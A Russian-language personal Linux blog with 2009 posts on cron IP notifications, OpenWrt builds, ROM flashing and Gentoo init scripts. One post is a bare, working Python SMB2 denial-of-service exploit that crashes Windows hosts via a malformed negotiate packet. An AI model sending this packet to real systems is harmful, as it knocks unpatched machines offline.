среда, 30 декабря 2009 г.

Динамический айпи уведомления

Купил на днях ноутбук и установил на него ubuntu 9.10
А так как ноут будут юзать на АДСЛ-соединении с динамическим айпи
нужно как-то выяснять какой айпи подцепил роутер.
За пару минут накалякал скрипт

cat /home/user/mailip.sh
#!/bin/sh
# получился ли адрес или что-то с сервером
[ $? -eq 0 ] && RESULT="Получено" || RESULT="Сервер недоступен"

# То что в кавычках заменить на свой адрес
MAIL_ADDR="МЫЛО@gmail.com"

IP="$(curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+")"
#curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
echo ${IP} ${RESULT} | mail -s "IP thats" $MAIL_ADDR 


Итак этот скриптик отправляет мне на мыло письмо с внешним айпи.
Теперь нужно процесс автоматизировать
cd /etc/cron.d/
nano -w mailip
# Global variables
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
1 */4 * * * root /bin/bash /home/user/mailip.sh
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
Теперь поясню что значит это все.
Я добавил в демон крона запись
стартовать мой скрипт кажду первую минуту четвертого часа
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
А вот это применял для тестирования демона cron
пишет вывод ifconfig eth0 каждую минуту каждого часа

Ну вот вуаля ко мне на почту приходят сообщения с айпи.
п.с.
Чтобы почта уходила я использовал ssmtp
Я раньше выкладывал как нужно правильно настраивать его.

среда, 16 декабря 2009 г.

танцы с openwrt

Недавно занялся вопросом перехода на Openwrt c dd-wrt на роутере dlink dir-320
Не долго думая выбрал прошивку от kamikaze
Итак начем.Я ее собирал на своей генте самостоятельно.
Задача стоит такая заставить работать openwrt + madwimax для сети YOTA.

Все дальнейшие команды выполняются в терминале

svn co svn://svn.openwrt.org/openwrt/branches/8.09




Скачается около 90 мегабайт исходных кодов прошивки, openwrt базируется на ядре 2.4, но есть возможность собрать и с 2.6, вот только не для dlink'овских железяк, если вдруг кто это читает и в теме, то прошу проследовать в комментарии.








дальше делаем
cd 8.09
И читаем ридмишку

This is the buildsystem for the OpenWrt Linux distribution


Please use "make menuconfig" to configure your appreciated
configuration for the toolchain and firmware.


You need to have installed gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers.


Simply running 'make' will build your firmware.
It will download all sources, build the cross-compile toolchain,
the kernel and all choosen applications.


You can use scripts/flash.sh for remotely updating your embedded system
via tftp.


The OpenWrt system is documented in docs/. You will need a LaTeX distribution
and the tex4ht package to build the documentation. Type make -C docs/ to build it.


Building your own firmware you need to have access to a Linux, BSD or MacOSX system.
Cygwin will not be supported because of the lack of case sensitiveness.


Sunshine!
        Your OpenWrt Project
        http://openwrt.org

Для тех кто не владеет мунспиком, тут говорится о том что на системе в которой производится компилция нужны установленные
gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers


 Проинсталлим дополнительные фиды (в них xwrt - вебморды и много других вкусняшек)

cd scripts
./feeds update -a
./feeds install -a









Дальше вернемся в директорию выше (8.09)
и запустим make menuconfig (прям как в генте)


















На этом первая часть саги о  компиляции openwrt заканчивается :)
Ждите продолжения.

вторник, 1 декабря 2009 г.

Сегодня на работе на своей свежей прыщегенте словил ошибку

adding static routes
SIOCADDRT: Нет такого процесса

Айпи выдается через dhcp сервер, сервис net.eth0 помещен в boot
Туда же в бут помещен и /etc/init.d/network
Погуглив немного видел решения с добавлением sleep 5
в тот самый нетворкинг, я сделал проще перетащил его в default из boot.
Эффект тот же а работает приятнее.

воскресенье, 29 ноября 2009 г.

smb exploit python

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "192.168.0.100", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close() 

вторник, 27 октября 2009 г.

python

Вообщем я написал скриптик, который отправляет текст на пастие.орг
в целях изучения языка Python, планирую приделать фичу скармливания ему файлов.


#!/usr/bin/python
# -*- coding: utf-8 -*-
from BeautifulSoup import BeautifulSoup
import urllib2
import urllib
import httplib
import re


url = 'http://pastie.org/pastes/' # ттут живет паста
values = {
'paste[body]' : open(raw_input('Введите прыщепуть: \n')).read(), # тело пасты
'paste[parser_id]':'4', #код которым подсвечивать 4 ruby
'paste[restricted]':'0', # паста не приватная
'paste[authorization]':'burger', # показывает такой логин в хедерах
'key' : '',
'commit' : 'Paste'
 }

data = urllib.urlencode(values)
resp = urllib2.urlopen(url, data)

html = resp.read()
soup = BeautifulSoup(html)
find = soup.findAll( 'p', 'smallutils')
#print soup.prettify()
print find

среда, 23 сентября 2009 г.

cyanogen [rom] правильная прошивка




Вот уже пару месяцев я прошиваю свой HTC G1 только прошивками от Cyanogen.
Пользую исключительно experimental версии, в частности из-за нового шедулера
BFQ, действительно девайс стал резвее даже по сравнению с тем что было на стандартном
линуксовом шедулере(по скорости работы просто не сравнимо с ВинМобайл 6.1 \ 6.5 )

Итак, составлю для себя и для других памятку о том как правильно менять версии прошивки.
Так как на  xda-developers трудновато найти способ правильно прошиваться и чтобы все работало.

Предположим что у нас уже стоит recovery-1.4 и карта памяти разбита на ext3 и fat разделы.
Мы накатываем прошивку, скажем вот эту и дальше необходимо сделать качественный вайп,
тот который из меню recovery запускается не выполняет функций вайпа карты и в результате после прошивки мы имеем неработающий девайс, или жутку тормозящий.

теперь делаем так:

http://pastie.org/622376 скрипт sdparted копируем на карту памяти.
Дальше из рековери режима переходим в консоль и пишем:

mount /dev/block/mmcblk0p2 /sdcard/sd
rm -rf /sdcard/sd/*/
e2fsck /dev/block/mmcblk0p2

*возможно перезапуск*

mount /sdcard
cp sdparted /sbin/sdparted
chmod 755 /sbin/sdparted
теперь можно запустить скрипт переразметки диска.
он, кстати, не удаляет ничего с фат раздела.
Дальше делаем вайп системы и обновляемся.
После этого все должно запуститься без проблем.





четверг, 25 июня 2009 г.

Ух!Разобрался я с eee-control + asus eeepc 900.
Проблема была в том что еее-контрол ну никак не хотел работать
то демон не работал должны образом, то каких-то файлов не было, вообщем много всего.
Сегодня я таки достиг нужного результата.
Итак, пока не забыл расскажу.

emerge -av eee-control
поставится но работать не будет, станет ругаться на отсутвие
/etc/init.d/hotkey-setup

Прилагаю свой

#!/bin/sh
### BEGIN INIT INFO
# Provides: hotkey-setup
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Set up laptop keys to generate keycodes.
### END INIT INFO

test -x /usr/sbin/dumpkeycodes || exit 0

xorg_driver() {
vendor=$(lspci | grep VGA | head -1)
case $vendor in
*Intel*)
driver=intel
;;
*AMD*|*ATI*)
driver=ati
;;
esac
echo $driver
}

do_video () {
VIDEO=`xorg_driver`
case $VIDEO in
intel|ati)
for x in /proc/acpi/video/*/DOS; do
if [ -e "$x" ]; then
echo -n 7 >$x;
fi
done
;;
esac
}

case "$1" in
start)

# This entire block does nothing on desktops right now
if laptop-detect; then

do_video

fi
;;
restart|force-reload)
$0 stop || true
$0 start
;;
esac

exit 0

Потом не забыть сделать chmod +x /etc/init.d/hotkey-setup

Далее в ядро вставить поддержку DMI
cd /usr/src/linux
cat .config | grep DMI
CONFIG_DMI=y
CONFIG_DMIID=y


Далее скорее всего машина будет ругаться на /lib/lsb/init-functions
Этого файлика тоже в нашей генте нет.
Прилагаю свой.
# /lib/lsb/init-functions for Debian -*- shell-script -*-
#
#Copyright (c) 2002-08 Chris Lawrence
#All rights reserved.
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions
#are met:
#1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#3. Neither the name of the author nor the names of other contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
#LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
#CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
#SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
#BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
#OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
#EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

start_daemon () {
local force nice pidfile exec i
force=0
nice=0
pidfile=/dev/null

OPTIND=1
while getopts fn:p: opt ; do
case "$opt" in
f) force=1;;
n) nice="$OPTARG";;
p) pidfile="$OPTARG";;
esac
done

shift $(($OPTIND - 1))
if [ "$1" = '--' ]; then
shift
fi

exec="$1"; shift

if [ $force = 1 ]; then
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --startas $exec --pidfile /dev/null --oknodo -- "$@"
elif [ $pidfile ]; then
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --exec $exec --oknodo --pidfile "$pidfile" -- "$@"
else
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --exec $exec --oknodo -- "$@"
fi
}

pidofproc () {
local pidfile line i pids= status specified pid
pidfile=
specified=

OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG"; specified=1;;
esac
done
shift $(($OPTIND - 1))

base=${1##*/}
if [ ! "$specified" ]; then
pidfile="/var/run/$base.pid"
fi

if [ -n "${pidfile:-}" -a -e "$pidfile" ]; then
read pid < "$pidfile"
if [ -n "${pid:-}" ]; then
if $(kill -0 "${pid:-}" 2> /dev/null); then
echo "$pid"
return 0
elif ps "${pid:-}" >/dev/null 2>&1; then
echo "$pid"
return 0 # program is running, but not owned by this user
else
return 1 # program is dead and /var/run pid file exists
fi
fi
fi
if [ -x /bin/pidof -a ! "$specified" ]; then
status="0"
/bin/pidof -o %PPID -x $1 || status="$?"
if [ "$status" = 1 ]; then
return 3 # program is not running
fi
return 0
fi
return 4 # program or service is unknown
}

# start-stop-daemon uses the same algorithm as "pidofproc" above.
killproc () {
local pidfile sig status base i name_param is_term_sig
pidfile=
name_param=
is_term_sig=no

OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG";;
esac
done
shift $(($OPTIND - 1))

base=${1##*/}
if [ ! $pidfile ]; then
name_param="--name $base --pidfile /var/run/$base.pid"
else
name_param="--pidfile $pidfile"
fi

sig=$(echo ${2:-} | sed -e 's/^-\(.*\)/\1/')
sig=$(echo $sig | sed -e 's/^SIG\(.*\)/\1/')
if [ -z "$sig" -o "$sig" = 15 -o "$sig" = TERM ]; then
is_term_sig=yes
fi
status=0
if [ ! "$is_term_sig" = yes ]; then
if [ -n "$sig" ]; then
/sbin/start-stop-daemon --stop --signal "$sig" --quiet $name_param || status="$?"
else
/sbin/start-stop-daemon --stop --quiet $name_param || status="$?"
fi
else
/sbin/start-stop-daemon --stop --quiet --oknodo $name_param || status="$?"
fi
if [ "$status" = 1 ]; then
if [ -n "$sig" ]; then
return 0
fi
return 3 # program is not running
fi

if [ "$status" = 0 -a "$is_term_sig" = yes -a "$pidfile" ]; then
pidofproc -p "$pidfile" "$1" >/dev/null || rm -f "$pidfile"
fi
return 0
}

# Return LSB status
status_of_proc () {
local pidfile daemon name status

pidfile=
OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG";;
esac
done
shift $(($OPTIND - 1))

if [ -n "$pidfile" ]; then
pidfile="-p $pidfile"
fi
daemon="$1"
name="$2"

status="0"
pidofproc $pidfile $daemon >/dev/null || status="$?"
if [ "$status" = 0 ]; then
log_success_msg "$name is running"
return 0
else
log_failure_msg "$name is not running"
return $status
fi
}

log_use_fancy_output () {
TPUT=/usr/bin/tput
EXPR=/usr/bin/expr
if [ -t 1 ] && [ "x$TERM" != "" ] && [ "x$TERM" != "xdumb" ] && [ -x $TPUT ] && [ -x $EXPR ] && $TPUT hpa 60 >/dev/null 2>&1 && $TPUT setaf 1 >/dev/null 2>&1; then
[ -z $FANCYTTY ] && FANCYTTY=1 || true
else
FANCYTTY=0
fi
case "$FANCYTTY" in
1|Y|yes|true) true;;
*) false;;
esac
}

log_success_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 0
}

log_failure_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 1 || true
}

log_warning_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 255 || true
}

#
# NON-LSB HELPER FUNCTIONS
#
# int get_lsb_header_val (char *scriptpathname, char *key)
get_lsb_header_val () {
if [ ! -f "$1" ] || [ -z "${2:-}" ]; then
return 1
fi
LSB_S="### BEGIN INIT INFO"
LSB_E="### END INIT INFO"
sed -n "/$LSB_S/,/$LSB_E/ s/# $2: \(.*\)/\1/p" $1
}

# int log_begin_message (char *message)
log_begin_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
echo -n "$@"
}

# Sample usage:
# log_daemon_msg "Starting GNOME Login Manager" "gdm"
#
# On Debian, would output "Starting GNOME Login Manager: gdm"
# On Ubuntu, would output " * Starting GNOME Login Manager..."
#
# If the second argument is omitted, logging suitable for use with
# log_progress_msg() is used:
#
# log_daemon_msg "Starting remote filesystem services"
#
# On Debian, would output "Starting remote filesystem services:"
# On Ubuntu, would output " * Starting remote filesystem services..."

log_daemon_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
log_daemon_msg_pre "$@"

if [ -z "${2:-}" ]; then
echo -n "$1:"
return
fi

echo -n "$1: $2"
log_daemon_msg_post "$@"
}

# #319739
#
# Per policy docs:
#
# log_daemon_msg "Starting remote file system services"
# log_progress_msg "nfsd"; start-stop-daemon --start --quiet nfsd
# log_progress_msg "mountd"; start-stop-daemon --start --quiet mountd
# log_progress_msg "ugidd"; start-stop-daemon --start --quiet ugidd
# log_end_msg 0
#
# You could also do something fancy with log_end_msg here based on the
# return values of start-stop-daemon; this is left as an exercise for
# the reader...
#
# On Ubuntu, one would expect log_progress_msg to be a no-op.
log_progress_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
echo -n " $@"
}


# int log_end_message (int exitstatus)
log_end_msg () {
# If no arguments were passed, return
if [ -z "${1:-}" ]; then
return 1
fi

retval=$1

log_end_msg_pre "$@"

# Only do the fancy stuff if we have an appropriate terminal
# and if /usr is already mounted
if log_use_fancy_output; then
RED=`$TPUT setaf 1`
YELLOW=`$TPUT setaf 3`
NORMAL=`$TPUT op`
else
RED=''
YELLOW=''
NORMAL=''
fi

if [ $1 -eq 0 ]; then
echo "."
elif [ $1 -eq 255 ]; then
/bin/echo -e " ${YELLOW}(warning).${NORMAL}"
else
/bin/echo -e " ${RED}failed!${NORMAL}"
fi
log_end_msg_post "$@"
return $retval
}

log_action_msg () {
echo "$@."
}

log_action_begin_msg () {
echo -n "$@..."
}

log_action_cont_msg () {
echo -n "$@..."
}

log_action_end_msg () {
log_action_end_msg_pre "$@"
if [ -z "${2:-}" ]; then
end="."
else
end=" ($2)."
fi

if [ $1 -eq 0 ]; then
echo "done${end}"
else
if log_use_fancy_output; then
RED=`$TPUT setaf 1`
NORMAL=`$TPUT op`
/bin/echo -e "${RED}failed${end}${NORMAL}"
else
echo "failed${end}"
fi
fi
log_action_end_msg_post "$@"
}

# Hooks for /etc/lsb-base-logging.sh
log_daemon_msg_pre () { :; }
log_daemon_msg_post () { :; }
log_end_msg_pre () { :; }
log_end_msg_post () { :; }
log_action_end_msg_pre () { :; }
log_action_end_msg_post () { :; }

FANCYTTY=
[ -e /etc/lsb-base-logging.sh ] && . /etc/lsb-base-logging.sh || true

Но и после этих манипуляций еще не все!
в автозугрузки нужно поставить модуль
p4_clockmod для регулировки частоты проца.
Вот вроде бы пока все.
Чуть попозже дополню.